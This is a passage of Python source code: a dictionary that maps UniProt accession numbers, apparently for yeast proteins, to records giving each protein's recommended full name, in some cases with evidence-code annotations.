'P27351' : ntuniprot(RecName_Full='AP-2 complex subunit beta'),
'P27466' : ntuniprot(RecName_Full='Calcium/calmodulin-dependent protein kinase I'),
'P27472' : ntuniprot(RecName_Full='Glycogen [starch] synthase isoform 2'),
'P27476' : ntuniprot(RecName_Full='Nuclear localization sequence-binding protein'),
'P27514' : ntuniprot(RecName_Full='Low-affinity phosphate transporter PHO91'),
'P27515' : ntuniprot(RecName_Full='Uridine kinase'),
'P27614' : ntuniprot(RecName_Full='Carboxypeptidase S'),
'P27616' : ntuniprot(RecName_Full='Phosphoribosylaminoimidazole-succinocarboxamide synthase'),
'P27636' : ntuniprot(RecName_Full='Cell division control protein 15'),
'P27637' : ntuniprot(RecName_Full='Bud site selection protein 14'),
'P27654' : ntuniprot(RecName_Full='Temperature shock-inducible protein 1'),
'P27680' : ntuniprot(RecName_Full='Ubiquinone biosynthesis O-methyltransferase, mitochondrial {ECO:0000255|HAMAP-Rule:MF_03190, ECO:0000305}'),
'P27692' : ntuniprot(RecName_Full='Transcription elongation factor SPT5'),
'P27697' : ntuniprot(RecName_Full='Atypical kinase COQ8, mitochondrial {ECO:0000250|UniProtKB:Q8NI60}'),
'P27705' : ntuniprot(RecName_Full='Regulatory protein MIG1'),
'P27796' : ntuniprot(RecName_Full='3-ketoacyl-CoA thiolase, peroxisomal'),
'P27801' : ntuniprot(RecName_Full='Vacuolar membrane protein PEP3'),
'P27809' : ntuniprot(RecName_Full='Glycolipid 2-alpha-mannosyltransferase'),
'P27810' : ntuniprot(RecName_Full='Alpha-1,2 mannosyltransferase KTR1'),
'P27825' : ntuniprot(RecName_Full='Calnexin homolog'),
'P27882' : ntuniprot(RecName_Full='Mitochondrial FAD-linked sulfhydryl oxidase ERV1'),
'P27895' : ntuniprot(RecName_Full='Kinesin-like protein CIN8'),
'P27929' : ntuniprot(RecName_Full='37S ribosomal protein NAM9, mitochondrial'),
'P27999' : ntuniprot(RecName_Full='DNA-directed RNA polymerase II subunit RPB9'),
'P28000' : ntuniprot(RecName_Full='DNA-directed RNA polymerases I and III subunit RPAC2'),
'P28003' : ntuniprot(RecName_Full='SWIRM domain-containing protein FUN19'),
'P28004' : ntuniprot(RecName_Full='Pre-mRNA-processing protein 45'),
'P28005' : ntuniprot(RecName_Full='Ribonuclease P/MRP protein subunit POP5'),
'P28006' : ntuniprot(RecName_Full='Serine/threonine-protein phosphatase 1 regulatory subunit GAC1'),
'P28007' : ntuniprot(RecName_Full='H/ACA ribonucleoprotein complex subunit GAR1'),
'P28239' : ntuniprot(RecName_Full='Inorganic pyrophosphatase, mitochondrial'),
'P28240' : ntuniprot(RecName_Full='Isocitrate lyase {ECO:0000303|PubMed:1551398}'),
'P28241' : ntuniprot(RecName_Full='Isocitrate dehydrogenase [NAD] subunit 2, mitochondrial'),
'P28263' : ntuniprot(RecName_Full='Ubiquitin-conjugating enzyme E2-24 kDa'),
'P28272' : ntuniprot(RecName_Full='Dihydroorotate dehydrogenase (fumarate)'),
'P28273' : ntuniprot(RecName_Full='5-oxoprolinase'),
'P28274' : ntuniprot(RecName_Full='CTP synthase 1'),
'P28319' : ntuniprot(RecName_Full='Cell wall protein CWP1'),
'P28320' : ntuniprot(RecName_Full='Splicing factor YJU2 {ECO:0000255|HAMAP-Rule:MF_03226}'),
'P28321' : ntuniprot(RecName_Full='Monoglyceride lipase {ECO:0000305}'),
'P28495' : ntuniprot(RecName_Full='F-actin-capping protein subunit alpha'),
'P28496' : ntuniprot(RecName_Full='Sphingosine N-acyltransferase LAC1'),
'P28519' : ntuniprot(RecName_Full='DNA repair protein RAD14'),
'P28584' : ntuniprot(RecName_Full='Low-affinity potassium transport protein'),
'P28625' : ntuniprot(RecName_Full='Protein YIM1'),
'P28627' : ntuniprot(RecName_Full='Mitochondrial inner membrane protease subunit 1'),
'P28707' : ntuniprot(RecName_Full='Co-chaperone protein SBA1'),
'P28708' : ntuniprot(RecName_Full='Serine/threonine-protein kinase PRR1'),
'P28737' : ntuniprot(RecName_Full='Protein MSP1'),
'P28742' : ntuniprot(RecName_Full='Kinesin-like protein KIP1'),
'P28743' : ntuniprot(RecName_Full='Kinesin-like protein KIP2'),
'P28777' : ntuniprot(RecName_Full='Chorismate synthase'),
'P28778' : ntuniprot(RecName_Full='37S ribosomal protein MRP17, mitochondrial'),
'P28789' : ntuniprot(RecName_Full='Porphobilinogen deaminase'),
'P28791' : ntuniprot(RecName_Full='Protein transport protein SEC20'),
'P28795' : ntuniprot(RecName_Full='Peroxisomal biogenesis factor 3'),
'P28817' : ntuniprot(RecName_Full='3-hydroxyisobutyryl-CoA hydrolase, mitochondrial'),
'P28834' : ntuniprot(RecName_Full='Isocitrate dehydrogenase [NAD] subunit 1, mitochondrial'),
'P29029' : ntuniprot(RecName_Full='Endochitinase'),
'P29055' : ntuniprot(RecName_Full='Transcription initiation factor IIB'),
'P29056' : ntuniprot(RecName_Full='Transcription factor IIIB 70 kDa subunit'),
'P29295' : ntuniprot(RecName_Full='Casein kinase I homolog HRR25'),
'P29311' : ntuniprot(RecName_Full='Protein BMH1'),
'P29340' : ntuniprot(RecName_Full='Ubiquitin-conjugating enzyme E2-21 kDa'),
'P29366' : ntuniprot(RecName_Full='Bud emergence protein 1'),
'P29453' : ntuniprot(RecName_Full='60S ribosomal protein L8-B {ECO:0000303|PubMed:9559554}'),
'P29461' : ntuniprot(RecName_Full='Tyrosine-protein phosphatase 2'),
'P29465' : ntuniprot(RecName_Full='Chitin synthase 3 {ECO:0000303|PubMed:2050737}'),
'P29467' : ntuniprot(RecName_Full='Meiosis-specific protein MEI4'),
'P29468' : ntuniprot(RecName_Full='Poly(A) polymerase'),
'P29469' : ntuniprot(RecName_Full='DNA replication licensing factor MCM2'),
'P29478' : ntuniprot(RecName_Full='Signal recognition particle subunit SEC65'),
'P29496' : ntuniprot(RecName_Full='Minichromosome maintenance protein 5'),
'P29509' : ntuniprot(RecName_Full='Thioredoxin reductase 1'),
'P29539' : ntuniprot(RecName_Full='Telomere length regulator protein RIF1'),
'P29547' : ntuniprot(RecName_Full='Elongation factor 1-gamma 1'),
'P29703' : ntuniprot(RecName_Full='Protein farnesyltransferase/geranylgeranyltransferase type-1 subunit alpha'),
'P29704' : ntuniprot(RecName_Full='Squalene synthase'),
'P29952' : ntuniprot(RecName_Full='Mannose-6-phosphate isomerase'),
'P30283' : ntuniprot(RecName_Full='S-phase entry cyclin-5'),
'P30402' : ntuniprot(RecName_Full='Orotate phosphoribosyltransferase 2'),
'P30605' : ntuniprot(RecName_Full='Myo-inositol transporter 1'),
'P30606' : ntuniprot(RecName_Full='Myo-inositol transporter 2'),
'P30619' : ntuniprot(RecName_Full='Protein transport protein SEC1'),
'P30620' : ntuniprot(RecName_Full='DNA cross-link repair protein PSO2/SNM1'),
'P30624' : ntuniprot(RecName_Full='Long-chain-fatty-acid--CoA ligase 1'),
'P30656' : ntuniprot(RecName_Full='Proteasome subunit beta type-5'),
'P30657' : ntuniprot(RecName_Full='Proteasome subunit beta type-7'),
'P30665' : ntuniprot(RecName_Full='DNA replication licensing factor MCM4'),
'P30771' : ntuniprot(RecName_Full='ATP-dependent helicase NAM7'),
'P30775' : ntuniprot(RecName_Full='Peptide chain release factor 1, mitochondrial'),
'P30777' : ntuniprot(RecName_Full='GPI mannosyltransferase 3'),
'P30822' : ntuniprot(RecName_Full='Exportin-1'),
'P30902' : ntuniprot(RecName_Full='ATP synthase subunit d, mitochondrial'),
'P30952' : ntuniprot(RecName_Full='Malate synthase 1, glyoxysomal'),
'P31109' : ntuniprot(RecName_Full='Synaptobrevin homolog 1'),
'P31111' : ntuniprot(RecName_Full='Synaptonemal complex protein ZIP1'),
'P31115' : ntuniprot(RecName_Full='tRNA pseudouridine(38/39) synthase'),
'P31116' : ntuniprot(RecName_Full='Homoserine dehydrogenase'),
'P31244' : ntuniprot(RecName_Full='DNA repair protein RAD16'),
'P31334' : ntuniprot(RecName_Full='54S ribosomal protein L9, mitochondrial'),
'P31373' : ntuniprot(RecName_Full='Cystathionine gamma-lyase'),
'P31374' : ntuniprot(RecName_Full='Serine/threonine-protein kinase PSK1'),
'P31376' : ntuniprot(RecName_Full='SWR1-complex protein 3'),
'P31377' : ntuniprot(RecName_Full='Syntaxin-8'),
'P31378' : ntuniprot(RecName_Full='Endonuclease III homolog 1 {ECO:0000255|HAMAP-Rule:MF_03183}'),
'P31379' : ntuniprot(RecName_Full='Outer spore wall protein LDS1 {ECO:0000305|PubMed:23966878}'),
'P31380' : ntuniprot(RecName_Full='ATP-dependent helicase FUN30'),
'P31381' : ntuniprot(RecName_Full='Nucleoside transporter FUN26'),
'P31382' : ntuniprot(RecName_Full='Dolichyl-phosphate-mannose--protein mannosyltransferase 2 {ECO:0000305}'),
'P31383' : ntuniprot(RecName_Full='Protein phosphatase PP2A regulatory subunit A'),
'P31384' : ntuniprot(RecName_Full='Glucose-repressible alcohol dehydrogenase transcriptional effector'),
'P31385' : ntuniprot(RecName_Full='Transcriptional regulatory protein DEP1'),
'P31386' : ntuniprot(RecName_Full='Protein ATS1'),
'P31412' : ntuniprot(RecName_Full='V-type proton ATPase subunit C'),
'P31539' : ntuniprot(RecName_Full='Heat shock protein 104'),
'P31688' : ntuniprot(RecName_Full='Trehalose-phosphatase'),
'P31755' : ntuniprot(RecName_Full='Initiation-specific alpha-1,6-mannosyltransferase {ECO:0000305}'),
'P31787' : ntuniprot(RecName_Full='Acyl-CoA-binding protein'),
'P32047' : ntuniprot(RecName_Full='Protein MLF3'),
'P32048' : ntuniprot(RecName_Full='Lysine--tRNA ligase, mitochondrial'),
'P32074' : ntuniprot(RecName_Full='Coatomer subunit gamma'),
'P32178' : ntuniprot(RecName_Full='Chorismate mutase'),
'P32179' : ntuniprot(RecName_Full="3'(2'),5'-bisphosphate nucleotidase"),
'P32190' : ntuniprot(RecName_Full='Glycerol kinase'),
'P32191' : ntuniprot(RecName_Full='Glycerol-3-phosphate dehydrogenase, mitochondrial'),
'P32259' : ntuniprot(RecName_Full='Mediator of RNA polymerase II transcription subunit 16'),
'P32263' : ntuniprot(RecName_Full='Pyrroline-5-carboxylate reductase'),
'P32264' : ntuniprot(RecName_Full='Glutamate 5-kinase'),
'P32266' : ntuniprot(RecName_Full='Dynamin-like GTPase MGM1, mitochondrial'),
'P32288' : ntuniprot(RecName_Full='Glutamine synthetase'),
'P32316' : ntuniprot(RecName_Full='Acetyl-CoA hydrolase'),
'P32317' : ntuniprot(RecName_Full='Protein AFG1'),
'P32318' : ntuniprot(RecName_Full='Thiamine thiazole synthase {ECO:0000255|HAMAP-Rule:MF_03158}'),
'P32319' : ntuniprot(RecName_Full='Vacuolar protein sorting/targeting protein VPS10'),
'P32323' : ntuniprot(RecName_Full='A-agglutinin anchorage subunit'),
'P32324' : ntuniprot(RecName_Full='Elongation factor 2'),
'P32325' : ntuniprot(RecName_Full='DDK kinase regulatory subunit DBF4'),
'P32327' : ntuniprot(RecName_Full='Pyruvate carboxylase 2'),
'P32328' : ntuniprot(RecName_Full='Serine/threonine-protein kinase DBF20'),
'P32329' : ntuniprot(RecName_Full='Aspartic proteinase 3'),
'P32330' : ntuniprot(RecName_Full='2-deoxy-glucose resistant protein 2'),
'P32331' : ntuniprot(RecName_Full='Mitochondrial glycine transporter YMC1'),
'P32332' : ntuniprot(RecName_Full='Mitochondrial oxaloacetate transport protein'),
'P32333' : ntuniprot(RecName_Full='TATA-binding protein-associated factor MOT1'),
'P32334' : ntuniprot(RecName_Full='Signaling mucin MSB2'),
'P32335' : ntuniprot(RecName_Full='Protein MSS51, mitochondrial'),
'P32336' : ntuniprot(RecName_Full='Protein NUD1'),
'P32337' : ntuniprot(RecName_Full='Importin subunit beta-3 {ECO:0000305}'),
'P32338' : ntuniprot(RecName_Full='Zinc finger protein RME1'),
'P32339' : ntuniprot(RecName_Full='Heme-binding protein HMX1'),
'P32340' : ntuniprot(RecName_Full='Rotenone-insensitive NADH-ubiquinone oxidoreductase, mitochondrial'),
'P32341' : ntuniprot(RecName_Full='Vacuolar ATPase assembly integral membrane protein VPH2'),
'P32342' : ntuniprot(RecName_Full='Signal recognition particle subunit SRP21'),
'P32343' : ntuniprot(RecName_Full='Protein SSH4'),
'P32344' : ntuniprot(RecName_Full='Mitochondrial mRNA-processing protein COX24'),
'P32345' : ntuniprot(RecName_Full='Serine/threonine-protein phosphatase 4 catalytic subunit'),
'P32347' : ntuniprot(RecName_Full='Uroporphyrinogen decarboxylase'),
'P32349' : ntuniprot(RecName_Full='DNA-directed RNA polymerase III subunit RPC3'),
'P32350' : ntuniprot(RecName_Full='Dual specificity protein kinase KNS1'),
'P32351' : ntuniprot(RecName_Full='Sugar utilization regulatory protein IMP2'),
'P32352' : ntuniprot(RecName_Full='C-8 sterol isomerase'),
'P32353' : ntuniprot(RecName_Full='Delta(7)-sterol 5(6)-desaturase'),
'P32354' : ntuniprot(RecName_Full='Minichromosome maintenance protein 10'),
'P32356' : ntuniprot(RecName_Full='Neutral trehalase'),
'P32357' : ntuniprot(RecName_Full='A1 cistron-splicing factor AAR2'),
'P32361' : ntuniprot(RecName_Full='Serine/threonine-protein kinase/endoribonuclease IRE1'),
'P32363' : ntuniprot(RecName_Full='Phosphatidylinositol N-acetylglucosaminyltransferase GPI3 subunit'),
'P32364' : ntuniprot(RecName_Full='Kinesin-related protein SMY1'),
'P32366' : ntuniprot(RecName_Full='V-type proton ATPase subunit d'),
'P32367' : ntuniprot(RecName_Full='Transcription factor tau 95 kDa subunit'),
'P32368' : ntuniprot(RecName_Full='Phosphoinositide phosphatase SAC1'),
'P32375' : ntuniprot(RecName_Full='Allantoinase'),
'P32377' : ntuniprot(RecName_Full='Diphosphomevalonate decarboxylase'),
'P32378' : ntuniprot(RecName_Full='4-hydroxybenzoate polyprenyltransferase, mitochondrial {ECO:0000255|HAMAP-Rule:MF_03189, ECO:0000305}'),
'P32379' : ntuniprot(RecName_Full='Proteasome subunit alpha type-5'),
'P32380' : ntuniprot(RecName_Full='Spindle pole body component 110'),
'P32381' : ntuniprot(RecName_Full='Actin-related protein 2'),
'P32383' : ntuniprot(RecName_Full='1-phosphatidylinositol 4,5-bisphosphate phosphodiesterase 1'),
'P32385' : ntuniprot(RecName_Full='Ribonucleoprotein 1'),
'P32386' : ntuniprot(RecName_Full='ATP-dependent bile acid permease'),
'P32387' : ntuniprot(RecName_Full='54S ribosomal protein L41, mitochondrial'),
'P32388' : ntuniprot(RecName_Full='54S ribosomal protein MRP49, mitochondrial'),
'P32389' : ntuniprot(RecName_Full='Transcriptional activator of sulfur metabolism MET4'),
'P32419' : ntuniprot(RecName_Full='Malate dehydrogenase, peroxisomal'),
'P32432' : ntuniprot(RecName_Full='Transcription factor SFP1'),
'P32435' : ntuniprot(RecName_Full='Mating factor alpha-2'),
'P32445' : ntuniprot(RecName_Full='Single-stranded DNA-binding protein RIM1, mitochondrial'),
'P32447' : ntuniprot(RecName_Full='Histone chaperone ASF1'),
'P32448' : ntuniprot(RecName_Full='Anti-silencing protein 2'),
'P32449' : ntuniprot(RecName_Full='Phospho-2-dehydro-3-deoxyheptonate aldolase, tyrosine-inhibited'),
'P32450' : ntuniprot(RecName_Full='Ammonia regulation of amino acid uptake protein'),
'P32451' : ntuniprot(RecName_Full='Biotin synthase, mitochondrial'),
'P32452' : ntuniprot(RecName_Full='Putative prephenate dehydratase'),
'P32453' : ntuniprot(RecName_Full='Protein ATP11, mitochondrial'),
'P32454' : ntuniprot(RecName_Full='Aminopeptidase 2, mitochondrial'),
'P32457' : ntuniprot(RecName_Full='Cell division control protein 3'),
'P32458' : ntuniprot(RecName_Full='Cell division control protein 11'),
'P32459' : ntuniprot(RecName_Full='Ureidoglycolate lyase'),
'P32460' : ntuniprot(RecName_Full='Protein DCG1'),
'P32461' : ntuniprot(RecName_Full='2-(3-amino-3-carboxypropyl)histidine synthase subunit 2 {ECO:0000305}'),
'P32462' : ntuniprot(RecName_Full='Delta(14)-sterol reductase'),
'P32463' : ntuniprot(RecName_Full='Acyl carrier protein, mitochondrial'),
'P32464' : ntuniprot(RecName_Full='Protein HYM1'),
'P32465' : ntuniprot(RecName_Full='Low-affinity glucose transporter HXT1'),
'P32466' : ntuniprot(RecName_Full='Low-affinity glucose transporter HXT3'),
'P32467' : ntuniprot(RecName_Full='Low-affinity glucose transporter HXT4'),
'P32468' : ntuniprot(RecName_Full='Cell division control protein 12'),
'P32469' : ntuniprot(RecName_Full='Diphthine methyl ester synthase'),
'P32471' : ntuniprot(RecName_Full='Elongation factor 1-beta'),
'P32472' : ntuniprot(RecName_Full='Peptidyl-prolyl cis-trans isomerase FPR2'),
'P32473' : ntuniprot(RecName_Full='Pyruvate dehydrogenase E1 component subunit beta, mitochondrial'),
'P32474' : ntuniprot(RecName_Full='Protein disulfide-isomerase EUG1'),
'P32476' : ntuniprot(RecName_Full='Squalene monooxygenase'),
'P32477' : ntuniprot(RecName_Full='Glutamate--cysteine ligase'),
'P32478' : ntuniprot(RecName_Full='Cell wall mannoprotein HSP150'),
'P32479' : ntuniprot(RecName_Full='Protein HIR1'),
'P32480' : ntuniprot(RecName_Full='Protein HIR2'),
'P32481' : ntuniprot(RecName_Full='Eukaryotic translation initiation factor 2 subunit gamma'),
'P32485' : ntuniprot(RecName_Full='Mitogen-activated protein kinase HOG1'),
'P32486' : ntuniprot(RecName_Full='Beta-glucan synthesis-associated protein KRE6'),
'P32487' : ntuniprot(RecName_Full='Lysine-specific permease'),
'P32488' : ntuniprot(RecName_Full='Increasing suppression factor 1'),
'P32489' : ntuniprot(RecName_Full='Meiosis protein 5'),
'P32490' : ntuniprot(RecName_Full='MAP kinase kinase MKK1/SSP32'),
'P32491' : ntuniprot(RecName_Full='MAP kinase kinase MKK2/SSP33'),
'P32492' : ntuniprot(RecName_Full='Myosin-4'),
'P32493' : ntuniprot(RecName_Full='ATPase expression protein 1, mitochondrial'),
'P32494' : ntuniprot(RecName_Full='Chromatin-remodeling complexes subunit NGG1'),
'P32495' : ntuniprot(RecName_Full='H/ACA ribonucleoprotein complex subunit NHP2'),
'P32496' : ntuniprot(RecName_Full='26S proteasome regulatory subunit RPN12'),
'P32497' : ntuniprot(RecName_Full='Eukaryotic translation initiation factor 3 subunit C {ECO:0000255|HAMAP-Rule:MF_03002}'),
'P32499' : ntuniprot(RecName_Full='Nucleoporin NUP2'),
'P32500' : ntuniprot(RecName_Full='Nucleoporin NDC1'),
'P32501' : ntuniprot(RecName_Full='Translation initiation factor eIF-2B subunit epsilon'),
'P32502' : ntuniprot(RecName_Full='Translation initiation factor eIF-2B subunit beta'),
'P32504' : ntuniprot(RecName_Full='Centromere DNA-binding protein complex CBF3 subunit A'),
'P32505' : ntuniprot(RecName_Full='Nuclear polyadenylated RNA-binding protein NAB2'),
'P32521' : ntuniprot(RecName_Full='Actin cytoskeleton-regulatory complex protein PAN1'),
'P32522' : ntuniprot(RecName_Full='Pentatricopeptide repeat-containing protein PET309, mitochondrial'),
'P32523' : ntuniprot(RecName_Full='Pre-mRNA-processing factor 19 {ECO:0000305}'),
'P32524' : ntuniprot(RecName_Full='Pre-mRNA-splicing factor PRP21'),
'P32525' : ntuniprot(RecName_Full='Protein ECM25'),
'P32526' : ntuniprot(RecName_Full='Karyogamy protein KAR9'),
'P32527' : ntuniprot(RecName_Full='Zuotin'),
'P32528' : ntuniprot(RecName_Full='Urea amidolyase'),
'P32529' : ntuniprot(RecName_Full='DNA-directed RNA polymerase I subunit RPA12'),
'P32558' : ntuniprot(RecName_Full='FACT complex subunit SPT16'),
'P32559' : ntuniprot(RecName_Full='tRNA modification GTPase MSS1, mitochondrial'),
'P32561' : ntuniprot(RecName_Full='Histone deacetylase RPD3'),
'P32562' : ntuniprot(RecName_Full='Cell cycle serine/threonine-protein kinase CDC5/MSD2'),
'P32563' : ntuniprot(RecName_Full='V-type proton ATPase subunit a, vacuolar isoform'),
'P32564' : ntuniprot(RecName_Full='Protein SCM4'),
'P32565' : ntuniprot(RecName_Full='26S proteasome regulatory subunit RPN2'),
'P32566' : ntuniprot(RecName_Full='Cell wall assembly regulator SMI1'),
'P32567' : ntuniprot(RecName_Full='Phosphatidic acid phosphohydrolase 1'),
'P32568' : ntuniprot(RecName_Full='Protein SNQ2'),
'P32569' : ntuniprot(RecName_Full='Mediator of RNA polymerase II transcription subunit 17'),
'P32570' : ntuniprot(RecName_Full='Mediator of RNA polymerase II transcription subunit 22'),
'P32571' : ntuniprot(RecName_Full='Ubiquitin carboxyl-terminal hydrolase 4'),
'P32572' : ntuniprot(RecName_Full='Sporulation protein SPS18'),
'P32573' : ntuniprot(RecName_Full='Peroxisomal 2,4-dienoyl-CoA reductase SPS19'),
'P32578' : ntuniprot(RecName_Full='SNF1 protein kinase subunit beta-1'),
'P32579' : ntuniprot(RecName_Full='Threonylcarbamoyl-AMP synthase'),
'P32580' : ntuniprot(RecName_Full='ATP-dependent RNA helicase SUV3, mitochondrial'),
'P32581' : ntuniprot(RecName_Full='Meiosis induction protein kinase IME2/SME1'),
'P32582' : ntuniprot(RecName_Full='Cystathionine beta-synthase'),
'P32583' : ntuniprot(RecName_Full='Suppressor protein SRP40'),
'P32584' : ntuniprot(RecName_Full='Protein-S-isoprenylcysteine O-methyltransferase'),
'P32585' : ntuniprot(RecName_Full='Mediator of RNA polymerase II transcription subunit 18'),
'P32588' : ntuniprot(RecName_Full='Nuclear and cytoplasmic polyadenylated RNA-binding protein PUB1'),
'P32589' : ntuniprot(RecName_Full='Heat shock protein homolog SSE1'),
'P32590' : ntuniprot(RecName_Full='Heat shock protein homolog SSE2'),
'P32591' : ntuniprot(RecName_Full='SWI/SNF complex subunit SWI3'),
'P32597' : ntuniprot(RecName_Full='Nuclear protein STH1/NPS1'),
'P32598' : ntuniprot(RecName_Full='Serine/threonine-protein phosphatase PP1-2'),
'P32599' : ntuniprot(RecName_Full='Fimbrin'),
'P32600' : ntuniprot(RecName_Full='Serine/threonine-protein kinase TOR2'),
'P32601' : ntuniprot(RecName_Full='Protein DSS4'),
'P32602' : ntuniprot(RecName_Full='Alpha-soluble NSF attachment protein'),
'P32603' : ntuniprot(RecName_Full='Sporulation-specific glucan 1,3-beta-glucosidase'),
'P32604' : ntuniprot(RecName_Full='Fructose-2,6-bisphosphatase'),
'P32605' : ntuniprot(RecName_Full='U1 small nuclear ribonucleoprotein A'),
'P32606' : ntuniprot(RecName_Full='Putative mitochondrial translation system component PET127'),
'P32607' : ntuniprot(RecName_Full='Retrograde regulation protein 1'),
'P32608' : ntuniprot(RecName_Full='Retrograde regulation protein 2'),
'P32609' : ntuniprot(RecName_Full='Vacuolar segregation protein PEP7'),
'P32610' : ntuniprot(RecName_Full='V-type proton ATPase subunit D'),
'P32611' : ntuniprot(RecName_Full='54S ribosomal protein RML2, mitochondrial'),
'P32612' : ntuniprot(RecName_Full='Seripauperin-2'),
'P32613' : ntuniprot(RecName_Full='TRAPP-associated protein TCA17'),
'P32614' : ntuniprot(RecName_Full='Fumarate reductase 1'),
'P32617' : ntuniprot(RecName_Full='Chromatin-remodeling complex subunit IES6'),
'P32618' : ntuniprot(RecName_Full='Uncharacterized protein YEL043W'),
'P32621' : ntuniprot(RecName_Full='Guanosine-diphosphatase'),
'P32622' : ntuniprot(RecName_Full='ATP-NADH kinase YEF1'),
'P32623' : ntuniprot(RecName_Full='Probable glycosidase CRH2'),
'P32626' : ntuniprot(RecName_Full='Enolase-phosphatase E1 {ECO:0000255|HAMAP-Rule:MF_03117}'),
'P32628' : ntuniprot(RecName_Full='UV excision repair protein RAD23'),
'P32629' : ntuniprot(RecName_Full='Mannan polymerase II complex ANP1 subunit'),
'P32630' : ntuniprot(RecName_Full='Protein UTR5'),
'P32633' : ntuniprot(RecName_Full='Maintenance of telomere capping protein 7'),
'P32634' : ntuniprot(RecName_Full='Negative regulator of sporulation PMD1'),
'P32639' : ntuniprot(RecName_Full='Pre-mRNA-splicing helicase BRR2'),
'P32641' : ntuniprot(RecName_Full='Checkpoint protein RAD24'),
'P32642' : ntuniprot(RecName_Full='Monothiol glutaredoxin-4'),
'P32643' : ntuniprot(RecName_Full='Trans-aconitate 3-methyltransferase'),
'P32644' : ntuniprot(RecName_Full='Putative ATP-dependent RNA helicase ECM32'),
'P32645' : ntuniprot(RecName_Full='Meiosis-specific protein ISC10'),
'P32656' : ntuniprot(RecName_Full='Glutathione-specific gamma-glutamylcyclotransferase {ECO:0000305|PubMed:23070364}'),
'P32657' : ntuniprot(RecName_Full='Chromo domain-containing protein 1'),
'P32660' : ntuniprot(RecName_Full='Phospholipid-transporting ATPase DNF1'),
'P32767' : ntuniprot(RecName_Full='Importin beta-like protein KAP122'),
'P32768' : ntuniprot(RecName_Full='Flocculation protein FLO1'),
'P32769' : ntuniprot(RecName_Full='Elongation factor 1 alpha-like protein'),
'P32770' : ntuniprot(RecName_Full='Asparagine-rich protein'),
'P32771' : ntuniprot(RecName_Full='S-(hydroxymethyl)glutathione dehydrogenase'),
'P32772' : ntuniprot(RecName_Full='Protein UGX2'),
'P32773' : ntuniprot(RecName_Full='Transcription initiation factor IIA large subunit'),
'P32774' : ntuniprot(RecName_Full='Transcription initiation factor IIA subunit 2'),
'P32775' : ntuniprot(RecName_Full='1,4-alpha-glucan-branching enzyme'),
'P32776' : ntuniprot(RecName_Full='General transcription and DNA repair factor IIH subunit TFB1'),
'P32781' : ntuniprot(RecName_Full='A-agglutinin-binding subunit'),
'P32783' : ntuniprot(RecName_Full='mRNA cap guanine-N7 methyltransferase'),
'P32784' : ntuniprot(RecName_Full='Glycerol-3-phosphate O-acyltransferase 1'),
'P32785' : ntuniprot(RecName_Full='Methionyl-tRNA formyltransferase, mitochondrial'),
'P32786' : ntuniprot(RecName_Full='RNA polymerase I-specific transcription initiation factor RRN6'),
'P32787' : ntuniprot(RecName_Full='Mitochondrial genome maintenance protein MGM101'),
'P32788' : ntuniprot(RecName_Full='Uncharacterized protein YBL010C'),
'P32789' : ntuniprot(RecName_Full='Serine/threonine-protein kinase Haspin homolog ALK2'),
'P32790' : ntuniprot(RecName_Full='Actin cytoskeleton-regulatory complex protein SLA1'),
'P32791' : ntuniprot(RecName_Full='Ferric/cupric reductase transmembrane component 1 {ECO:0000305}'),
'P32792' : ntuniprot(RecName_Full='UPF0744 protein YSC83'),
'P32793' : ntuniprot(RecName_Full='Protein YSC84'),
'P32794' : ntuniprot(RecName_Full='ATPase family gene 2 protein {ECO:0000303|PubMed:8109176}'),
'P32795' : ntuniprot(RecName_Full='Mitochondrial inner membrane i-AAA protease supercomplex subunit YME1'),
'P32796' : ntuniprot(RecName_Full='Carnitine O-acetyltransferase, mitochondrial'),
'P32797' : ntuniprot(RecName_Full='Cell division control protein 13'),
'P32798' : ntuniprot(RecName_Full='Cobalt uptake protein COT1'),
'P32799' : ntuniprot(RecName_Full='Cytochrome c oxidase subunit 6A, mitochondrial'),
'P32800' : ntuniprot(RecName_Full='Peroxisomal biogenesis factor 2'),
'P32801' : ntuniprot(RecName_Full='Serine/threonine-protein kinase ELM1'),
'P32802' : ntuniprot(RecName_Full='Transmembrane 9 superfamily member 1'),
'P32803' : ntuniprot(RecName_Full='Endosomal protein P24B'),
'P32804' : ntuniprot(RecName_Full='Zinc-regulated transporter 1'),
'P32805' : ntuniprot(RecName_Full='Zinc finger protein FZF1'),
'P32806' : ntuniprot(RecName_Full='GTPase-activating protein GYP6'),
'P32807' : ntuniprot(RecName_Full='ATP-dependent DNA helicase II subunit 1'),
'P32828' : ntuniprot(RecName_Full='E3 ubiquitin-protein ligase complex SLX5-SLX8 subunit SLX5'),
'P32829' : ntuniprot(RecName_Full='Double-strand break repair protein MRE11'),
'P32830' : ntuniprot(RecName_Full='Mitochondrial import inner membrane translocase subunit TIM12'),
'P32831' : ntuniprot(RecName_Full='Negative growth regulatory protein NGR1'),
'P32832' : ntuniprot(RecName_Full='Chromatin structure-remodeling complex subunit RSC7'),
'P32833' : ntuniprot(RecName_Full='Origin recognition complex subunit 2'),
'P32835' : ntuniprot(RecName_Full='GTP-binding nuclear protein GSP1/CNR1'),
'P32836' : ntuniprot(RecName_Full='GTP-binding nuclear protein GSP2/CNR2'),
'P32837' : ntuniprot(RecName_Full='GABA-specific permease'),
'P32838' : ntuniprot(RecName_Full='Serine/threonine-protein phosphatase PP2A-like PPG1'),
'P32839' : ntuniprot(RecName_Full='Mitochondrial chaperone BCS1'),
'P32841' : ntuniprot(RecName_Full='Meiotic recombination protein REC114'),
'P32842' : ntuniprot(RecName_Full="V-type proton ATPase subunit c'"),
'P32843' : ntuniprot(RecName_Full='Mitochondrial escape protein 2'),
'P32844' : ntuniprot(RecName_Full='Exocyst complex component SEC6'),
'P32849' : ntuniprot(RecName_Full='DNA repair protein RAD5'),
'P32854' : ntuniprot(RecName_Full='Syntaxin PEP12'),
'P32855' : ntuniprot(RecName_Full='Exocyst complex component SEC8'),
'P32857' : ntuniprot(RecName_Full='Membrane protein PTM1'),
'P32858' : ntuniprot(RecName_Full='Altered inheritance of mitochondria protein 26, mitochondrial'),
'P32860' : ntuniprot(RecName_Full='NifU-like protein, mitochondrial'),
'P32861' : ntuniprot(RecName_Full='UTP--glucose-1-phosphate uridylyltransferase'),
'P32862' : ntuniprot(RecName_Full='Glucose transport transcription regulator RGT1'),
'P32863' : ntuniprot(RecName_Full='DNA repair and recombination protein RAD54'),
'P32864' : ntuniprot(RecName_Full='Rab proteins geranylgeranyltransferase component A'),
'P32867' : ntuniprot(RecName_Full='Protein SSO1'),
'P32873' : ntuniprot(RecName_Full='GTPase-activating protein BEM3'),
'P32874' : ntuniprot(RecName_Full='Acetyl-CoA carboxylase, mitochondrial'),
